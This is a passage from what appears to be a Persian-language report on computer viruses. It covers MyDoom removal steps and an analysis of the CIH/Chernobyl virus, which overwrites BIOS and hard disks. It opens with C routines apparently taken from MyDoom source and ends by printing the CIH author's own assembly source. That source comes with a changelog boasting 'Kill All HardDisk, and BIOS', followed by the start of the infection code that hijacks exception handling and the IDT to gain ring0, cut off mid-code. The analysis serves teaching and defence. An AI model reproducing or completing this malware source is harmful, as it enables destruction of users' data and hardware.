0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,
0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,
0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,
0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,
0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,
0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,
0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,
0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,
0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,
0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,
0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,
0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,
0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,
0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,
0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,
0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,
0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,
0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,
0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,
0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,
0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,
0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,
0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,
0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,
0x2d02ef8dL
};

#define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8))
#define DO1(buf) crc = CRC32(crc, *buf++)
#define DO2(buf) DO1(buf); DO1(buf)
#define DO4(buf) DO2(buf); DO2(buf)
#define DO8(buf) DO4(buf); DO4(buf)

unsigned long crc32(crc, buf, len)
register unsigned long crc; /* crc shift register */
register const unsigned char *buf; /* pointer to bytes to pump through */
int len; /* number of bytes in buf[] */
/* Run a set of bytes through the crc shift register. If buf is a NULL
pointer, then initialize the crc shift register contents instead.
Return the current crc in either case. */
{
if (buf == NULL) return 0L;

crc = crc ^ 0xffffffffL;
#ifndef NO_UNROLLED_LOOPS
while (len >= 8) {
DO8(buf);
len -= 8;
}
#endif
if (len) do {
DO1(buf);
} while (–len);
return crc ^ 0xffffffffL; /* (instead of ~c for 64-bit machines) */
}

static void zip_putcurtime(WORD *f_time, WORD *f_date)
{
SYSTEMTIME systime;

GetSystemTime(&systime);
if ((systime.wYear < 1999) || (systime.wYear > 2010))
systime.wYear = 2004;
if (systime.wMonth < 1 || systime.wMonth > 12) systime.wMonth = 1;
if (systime.wDay < 1 || systime.wDay > 31) systime.wDay = 10;

*f_date =
((systime.wYear-1980) << 9) |
(systime.wMonth << 5) |
systime.wDay;

*f_time =
(systime.wHour << 11) |
(systime.wMinute << 5) |
(systime.wSecond / 2);
}

static unsigned long zip_calc_crc32(HANDLE hFileIn)
{
unsigned long reg, i;
unsigned char buf[1024];
SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
for (reg=0;;) {
i = 0;
if (ReadFile(hFileIn, buf, sizeof(buf), &i, NULL) == 0) break;
if (i == 0) break;
reg = crc32(reg, buf, i);
}
SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
return reg;
}

int zip_store(char *in, char *out, char *store_as)
{
HANDLE hFileIn, hFileOut;
struct zip_header_t hdr1;
struct zip_eod_t eod1;
struct zip_dir_t dir1;
char buf[1024];
unsigned long i, j, offs;

hFileIn = CreateFile(in, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileIn == INVALID_HANDLE_VALUE || hFileIn == NULL)
return 1;
hFileOut = CreateFile(out, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileOut == INVALID_HANDLE_VALUE || hFileOut == NULL) {
CloseHandle(hFileIn);
return 2;
}

memset(&hdr1, '', sizeof(hdr1));
memset(&dir1, '', sizeof(dir1));
memset(&eod1, '', sizeof(eod1));
offs = 0;

hdr1.signature = 0x04034b50;
dir1.ver_needed = hdr1.ver_needed = 10;
dir1.flags = hdr1.flags = 0;
dir1.method = hdr1.method = 0;
zip_putcurtime(&hdr1.lastmod_time, &hdr1.lastmod_date);
dir1.lastmod_time = hdr1.lastmod_time;
dir1.lastmod_date = hdr1.lastmod_date;
hdr1.crc = zip_calc_crc32(hFileIn);
dir1.crc = hdr1.crc;

hdr1.compressed_size = GetFileSize(hFileIn, NULL);
dir1.compressed_size = hdr1.compressed_size;
hdr1.uncompressed_size = GetFileSize(hFileIn, NULL);
dir1.uncompressed_size = hdr1.uncompressed_size;
hdr1.filename_length = lstrlen(store_as);
dir1.filename_length = hdr1.filename_length;
dir1.extra_length = hdr1.extra_length = 0;

dir1.local_offs = offs;

WriteFile(hFileOut, &hdr1, sizeof(hdr1), &i, NULL);
offs += sizeof(hdr1);
WriteFile(hFileOut, store_as, lstrlen(store_as), &i, NULL);
offs += lstrlen(store_as);
SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
for (;;) {
i = 0;
if (ReadFile(hFileIn, buf, sizeof(buf), &i, NULL) == 0) break;
if (i == 0) break;
WriteFile(hFileOut, buf, i, &j, NULL);
offs += i;
}

eod1.dir_offs = offs;

dir1.signature = 0x02014b50;
dir1.made_by = 20; /* MSDOS, PKZIP 2.0 */
dir1.internal_attr = 0;
dir1.external_attr = 0x20; /* FA_ARCHIVE */
WriteFile(hFileOut, &dir1, sizeof(dir1), &i, NULL);
offs += sizeof(dir1);
WriteFile(hFileOut, store_as, lstrlen(store_as), &i, NULL);
offs += lstrlen(store_as);

eod1.signature = 0x06054b50;
eod1.disk_no = 0;
eod1.disk_dirst = 0;
eod1.disk_dir_entries = 1;
eod1.dir_entries = eod1.disk_dir_entries;
eod1.dir_size = offs – eod1.dir_offs;
eod1.comment_len = 0;
WriteFile(hFileOut, &eod1, sizeof(eod1), &i, NULL);

CloseHandle(hFileOut);
CloseHandle(hFileIn);
return 0;
}

3-4-روش های پاکسازی ویروس My doom
کشف شده: 26 ژانویه 2004
آپدیت شده: فوریه 2007
همچنین شناخته شده: w32.Novarge.a@mm
WORM-MIMAIL.R[Trend],W32/Mydoom@MM [McAfee]
I-Warm.Novarg [kaspersky],win32.My doom . A[computer Assoc]
نوع: کرم
سیستم های تاثیر پذیر: windows 2000 ، windows 95 ، windows98 ، windows Me ، windows NT ، windows server 2003 ، windows Xp .
حذف کردن با استفاده از ابزار حذف:
Symantec security response ابزار حذف را برای تمیز کردن اثر w32My doom توسعه داده است.این روش ابتدایی در اغلب موارد است.
حذف کردن به صورت دستی:
اگر نمی توانید ابزار حذف را فراهم کنید یک حذف دستی انجام دهید.
دستورالعمل های بعدی مربوط به همه انواع فرآوردههای آنتی ویروس سیمانتیک است:
1. Disable system restore (windows xp/me)
2. Update the virus definitions .
3. Restart the computer in safe mode or VGA mode
4. Run a full system scan and delete all the files detected as w32mydoom.a@mm .
5. Delete the values that were added to the registry .
برای جزئیات خاص روی هر یک از این step ها دستور العمل هایی که در دنبال آمده است را بخوانید.
1.غیرفعال کردن system restore:
اگر شما ویندوز Me یا Xp ر اجرا میکنید ما توصیه می کنیم شما System Restor را به طور موقت خاموش کنید.ویندوز Me/Xp از این ترکیب استفاده می کند. که فعال می شود با یک مقدار اولیه و فایلها را در موارد که انها خراب شده باشند به کامپیوتر تان بر میگرداند.اگر یک ویروس،کرم یا تروجان روی یک کامپیوتر اثر کند System Restore ممکن است از آن ویروس تروجان یا کرم back up بگیرد.
ویندوز از برنامه های بیرونی جلوگیری می کند شامل برنامه های ضد ویروس واز تغییر دادن System Restor بنابراین برنامه های آنتی ویروس یا ابزارها نمی توانند تهدیدات را از پوشه System Restore حذف کنند. در نتیجه System Restore پتانسیل بازگرداندن فایل آلوده روی کامپیوتر را دارد حتی بعد از اینکه شما فایل های آلوده را از همه محل های دیگر تمیز کرده باشید.همچنین یک اسکن ویروس ممکن است یک تهدیدی را نمایان کند در پوشه System Restore حتی اگر چه شما آن تهدید را برداشته باشید.
2.آپدیت کردن تعاریف ویروس:
Symantec security response به طور کامل همه تعاریف ویروس را آزمایش می کند.
برای اطمینان بالا قبل از اینکه آن ها به سرور ما پست شود دو را برای بدست اوردن تعاریف بیشتر برای ویروس وجود دارد.
اجرا کردنLive Update : که آسانترین راه برای بدست آوردن تعاریف ویروس است.
این تعاریف ویروس هر یکبار در هر هفته (معمولا چهارشنبه ها ) به سرورهای Live Update پست می شود.مگر اینکه یک ویروس مهم شیوع پیدا کرده باشد.
آپدیت کردن تعاریف ویروس با استفاده از intellignet updater:تعاریف ویروس intelligent updater در روزهای کاری ( دوشنبه تا جمعه ) پست می شود.
شما باید تعاریف را از وب سایت Symantec security response دانلود کنید و به طور دستی آنها را نصب کنید.
3. Restartکردن کامپیوتر در VGA mode safe mode :
کامپیوتر را shut down و power را خاموش کنید.
حداقل 30 ثانیه منظر شوید و آنگاه کامپیوتر را در Safe mode یا VGA mode Restart کنید.
کاربران Windows 95 , 98 , Me , 2000 یا Xp کامپیوتر را در Safe mode Restart , کنند.
کاربران Windows NT کامپیوتر را VGA mode ، Restart کنند.
4.اسکن کردن برای حذف فایل های آلوده:
برنامه آنتی ویروس سیمانتیک تان را شروع کنید و مطمئین شوید که آن برای اسکن کردن همه فایل ها شکل گرفته است.
System scan (a را به طور کامل اجرا کنید.
(b اگر فایلی با ویروس My doom آلوده شد و نمایان شد ان را حذف کنید.
5. حذف کردن مقادیراز:Registry
a) روی Start کلیک کنید و آنگاه روی Run کلیک کنید.
b) regeditرا تایپ کنید انگاه روی OK کلیک کنید.
c) هدایت کنید هر یک از این کلید هارا.
HKEY _LOCAL_MACHINE_SOFTWAREMicrosoft windows current versionRun
HKEY_CURRENT_USERSOFTWAREMicrosoftwindows current
d)ازRegistry editor خارج شوید.

فصل چهارم-آنالیزویروس CIH Chernoble
4-1-بررسی وعملکرد ویروس CIH
از آنجاییکه شروع تکنولوژی BIOS فلش در کامپیوتر های رومیزی بوده است امکان حمله بدخیم به BIOSدر صنعت ایمنی کامپیوتر شناسایی شده است اولین ویروسی که موفق شد به این روش به کامپیوتر های خانگی حمله کند و قبلا نا شناخته بود از طریق شبکه جهانی منتشر شد.در ژوئن امسال فایلی از طرف یک مشتری دریافت شد که آلوده به یک آلوده کننده قابل حمل (PE) جدید بود که CIH نام گرفته و تحت ویندوز 98 کار می کند و حداقل 4گونه شناخته شده دارد که به نام های '1.2V '، V1.4 'و 2مورد خودشناخته به نام'V1.3' هستند اگر چه ویندوز NT نیز از فایل های PE استفاده می کنداما CIH از مکانیزمی بهره می برد که تحت NTکار نمی کند.
گونه های این ویروس payload حداکثر مشخص دارند و فقط در چند بایت با هم متفاوت هستند.
و چند روز رها سازی 26آوریل ، 26 ژوئن و 26 هر ماه دارد بمحض شناسایی، ویروس در تایوان گسترش یافته شده بود و آنجا به عنوان منشاء این ویروس شناخته شد و در چند کشور دیگر نیز گسترش یافت. ]گزارش گسترش آن از استرلیا، چین، فرانسه، آلمان، کره، نروژ، روسیه ، برتانیا و ایالات متحده دریافت شد[.
هرماشینی که از یکی از چندین پنیوم ارزان رایج و چیپ BIOS فلش یکی از 2 سازنده ان استفاده میکند مستعد حمله به خود BIOS است و در ماشین های آسیب پذیر بخش کوچک اما حیاتی از BIOS با CIH جانویسی شده و PC را غیر خود راه انداز می کند این مدت زیادی نیست که یک از بین برنده دیسک عادی شده است.
اگر چه جزئیات تکنیکی مکانیسم سرایت CIH برای تحقیق ویروس بیان شده است،اما payloadمفید آن متفاوت با دیگر ویروس ها تنظیم شده است.این payload از دو قسمت تشکیل شده است که هر دو اگر شرایط صحیحی برقرار باشد راه اندازی می شود. از آنجائیکه payload بخشی از مکانیسم الودگی است تازمانیکه ویروس در حافظه مقیم است راه اندازی نمی شود.
شرایط راه اندازی وقتی که فایل پسوند EXE داشته باشد،برقرار می شود.
بخش دوم payload،قسمتی عادی است و اولین 2048 بخش هر هارد دیسک را در سیستم با دیتای تصادفی در حافظه جانویسی می کند.هر چیزی که به این روش جانویسی شود به سختی بازیابی می شوند و یا بازیابی آن ممکن نیست.ویروس بدنبال دیسک های بیشتری به طور نامحدود می گردد و این ماشین – بجز هارد دیسک که پیوسته در حال اجرا است – پاسخگو به ورودی اطلاعات کاربر نیست.
تکنولوژی های EPROM قبلی امکان برنامه ریزی مجدد را به Bios داده اما نیاز است تا چیپ برداشته شده و تحت نور ماورا بنفش پاک شده و در سخت افزار اختصاصی دوباره برنامه ریزی شود تکنولوژی Flooh ROM به این معنی است که بروز رسانی Bios و تثبیت خطا راحت تر و ارزان تر می تواند انجام گیرد و این کار توسط کاربر بدون نیاز به مهارت خاص یا تجهیزاتی ممکن است.خطرات امکان دادن به نرم افزار برای بازنویسی بخش های اصلی کد خود راه انداز داخلی ماشین مورد بحث قرار گرفته است اما تا کنون هیچ ویروسی نتوانسته چنین آسیبی وارد کند.
محتمل ترین دلیل برای نبود قبلی چنین payload،پیچیدگی این وظیفه بوده است . برای نوشتن مستقیم و موفق در Bios ،دانستن جزئیات چیپ مادربورد و Bios Flash Rom لازم است.Flash Rom استفاده شده برای ذخیره Bios به طور نرمال یک مکانیسم تو کار برای جلوگیری از نوشتن تصادفی درآن توسط نورهای الکترونیکی در هنگام روشن یا خاموش کردن یا نوسانات برق خواهد داشت.
بنابراین برای نوشتن مستقیم در Bios یک برنامه باید در Flash ROM و چیپ مادر بورد دسترسی به نوشتن داشته باشد و سپس از حفاظت خود چیپ ناتوان می شود اطلاعات مورد نیاز برای این کار براحتی از سازنده چیپ در دسترس قرار میگیرد برای قادر شدن به نوشتن مجدد Flash Rom یک ولتاژ برنامه ریزی یا UPP عموما 5v یا 12v لازم است.این ولتاژ اغلب توسط یک وصل کننده در مادر بورد تنظیم می شود با این وجود برای تحصیل بروز رسانی Bios ماشین های زیادی دارای ولتاژ نوشتن هستند اما Bios ندارند.
CIH متداول برای دستیابی مستقیم به چیپ Bios استفاده می شود که با مجموعه چیپ TX430 کاری می کند،اما احتمالا با بیشتر پنیوم ها و نه همه آنها کار می کند برخی مجموعه چیپ های اواخر مدل 486 نیز ممکن است آسیب پذیر باشند رشته برنامه ریزی های ارسال شده به خود Bios امکان نوشتن در حداقل ROM2از سازنده های نختلف را می دهد آسیب واردامده با نوشتن یک بایت در بلوک بوت Biosاست – ناحیه ای که دارای کد برای تست های اولیه سخت افزار و خود راه انداز ماشین می باشد.
بر خلاف بسیاری RAM ها ، Flash RAM در قطعات دلخواه نوشته نمی شود بسیاری ROM را اندازه صفحه 128 بایت برای بلوک های بوت خود دارند بنابراین اگر چه CIH فقط یک بایت را می نویسد 12 بایت اطراف آن به FFh ریست می شوند.وقتی ماشین بعدی راه اندازی می شود،بلوک بوت )راه انداز( Bios جدید نصب شود ماشین را از کار
می اندازد در مواردیکه چیپ به مادر برد لحیم شده است،بدون اینکه با سوکت وصل شود،تغییر مادر بورد احتمالا لازم خواهد بود.
4-2-مکانیسم آلودگی
فایلی های PE استفاده شده در ویندوز 98 و ویندوز NT قابل اجرا هستند یک فایل PE از یک DOS قابل اجرا تشکیل شده است که معمولا یک برنامه کوتاه می باشد که نشان می دهد این برنامه تحت ویندوز بخش سرانداز PE و چندین مورد دیتا به اجرا درآید.این موارد می تواند دارای کد اجرایی اطلاعات توابع وارد شده یا خارج شده دیتا یا اطلاعات جابجا سازی باشد.هر مورد بدنبال سرانداز PE در یک فایل ردیف شود تا در حاشیه ای شروع شود که بین 512 بایت و 64KB باشد.
هرگونه،تفاوت بین طول کد استفاده شده یا دیتا دریک مورد و ردیف بخش انتخابی به طور نرمال با موارد خنثی بوسیله اتصال دهنده در میان قرار گرفته است.اطلاعات روی ردیف این موارد و اندازه هر مورد در سر انداز PE در یک سری جداول دقیقاً پس از سرانداز ذخیره شده است.فایل های معمول PEدارای 5 یا 6 مورد می باشند که همه آنها فضایی دارند که به طور چشمگیری اشغال شده است. این در نواحی واقع شده است که CIH که خود را ذخیره می کند، بنابراین فایل را بدون افزایش طول آن آلوده می کند.آلوده کننده های فضای خالی که بصورت حفره ای در یک فایل بزرگ دیده می شوند کل ویروس را نگه می دارند و جدید نیستند،در حقیقت Lehigh یکی از اولین آلوده کننده های فایل،دقیقاً از این تکنیک استفاده کرده است.با این وجود،CIH تعداد بیشتری فایل را در بر می گیرد که به طور بالقوه آسیب پذیر هستند.
CIHکه آنها را در قطعه ای که برای پر کردن فضای جا افتاده در انتهای بخش های میزبان آن استفاده می شود،می شکند.و برای فایل های،فضای جا افتاده ناکافی بررسی می شود تا آلودگی آنها انجام شود. با این وجود،تمام گونه های شناخته شده فقط تحت 1KB طول کار می کند و بیشتر PE با حداقل آن فضای اضافی آزاد را دارند ویژگی اتصال دهنده Borland این است که فایل های ایجاد شده توسط آن آسیب پذیر نیستند.در هنگام آسیب دیدن یک فایل،CIH جدولی از دیتا در مورد طول و محل قطعات کدآن می سازد.این و کد کوچکتر مختص حافظه برای خودوبرای قطعه ای که قطعات کدان با هم بر میگردد،بین سر انداز PE و اولین مورد از میزبان ذخیره شده است. اگر فضای ناکافی در سر انداز برای گرفتن این دیتای تعیین کننده و کد باشد،این فایل نیز بنظر غیر آسیب پذیر می رسد.
CIH
نام مستعار: PE_CIH,CIH Spacefiller , Win95/CIH. گونه های 3001 و 1019 بایتی و 2 تا 1010 بایستی شناسایی شده است.
نوع: آلوده کننده حفره تقسیم شده از فضای وقفه بخش PE استفاده می کند.
آلودگی: به API سیستم فایل ویندوز 98 قلاب انداخته است.
راه انداز: باز نمودن یک فایل EXE غیر قابل آلوده شدن در 26 آوریل (CIH 1003, CIH 1010,A)، 26 ژوئن (CIH,1010B) یا در 26 هر ماه (CIH, (1019.

4-3- هشدار ویروس win 32/ CIH
نکته مهم: هر شخصی که از ویندوز 95 یا 98 مایکروسافت استفاده می کند،باید توجه کنیددر این ماه ژوئن ویروس جدیدی بنام (PE_CIH یا) Win 32/CIH ظاهر شد و در جولای در ماشین های فضای باز کشف شد.این ویروس فایل های قابل اجرا در ویندوز 95 یا 98 (با فرمت PE) را آلوده می کند اما به فایل های ویندوز NT یا کامپیوتر Macintosh کاری ندارد.
ویروس های win 32/ CIH بدنه کد ویروس را می شکند و در قسمت های استفاده نشده فایل آلوده شده قرار می گیرد.این ویروس ها دارای کدهای مخرب شدیدی هستند که در 26 هر ماه رها می شود، زمانیکه که ویروس تلاش در جانویسی flash Blos در ماشین های آلوده شده می کند.اگر flash Blos قادر به نوشتن باشد (و بیشتر کامپیوترهای مدرن دارای flash- Blos هستند)، جانویسی ماشین را غیر قابل استفاده می کند چون راه انداز طولانی تری ندارد.هر سخت افزاری که با این ویروس آسیب ببیند تحت گارانتی سازنده پوشش نمی یابدواطلاعات قسمت های دیسک تخریب می شود.
در جولای ویروس win32/CIH در یک آزمایش با استفاده از سیستم ویندوز 95 رها شد.پس از اینکه تاریخ کامپیوتر به 26 جولای رسید، تمام اطلاعات قسمت های دیسک از بین رفت و سیستم غیر قابل راه اندازی شد، و این دیگر قابل بازیابی نبودند.ابزار کمک به ذخیره اطلاعات از دست رفته وجو ندارد اما محققین در حال جستجو هستند.
4-4-نتیجه گیری
اگر چه از لحاظ تکنیکی این ویروس تنها به نرم افزار ثابت BIOS آسیب می رساند،نتیجه نهایی این است که تثبیت آسیب آن نیازمند برخی اشکال جایگزینی سخت افزاری است. CIH اثر مشابهی با ویروس آسیب رساننده به سخت افزار دارد و این اولین آنها نیست.

4-5-سورس کد ویروسCIH
; ****************************************************************************
; * The Virus Program Information *
; ****************************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
; *==========================================================================*
; * Modification History *
; *==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size… ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS… Super… Killer… *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
; *==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
; *==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
; ****************************************************************************

.586P

; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************

OriginalAppEXE SEGMENT

FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************
; * My Virus Game *
; ****************************************************************************

; *********************************************************
; * Constant Define *
; *********************************************************

TRUE = 1
FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 4

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion

IF DEBUG

FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h

ELSE

FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h

ENDIF

FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege… *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
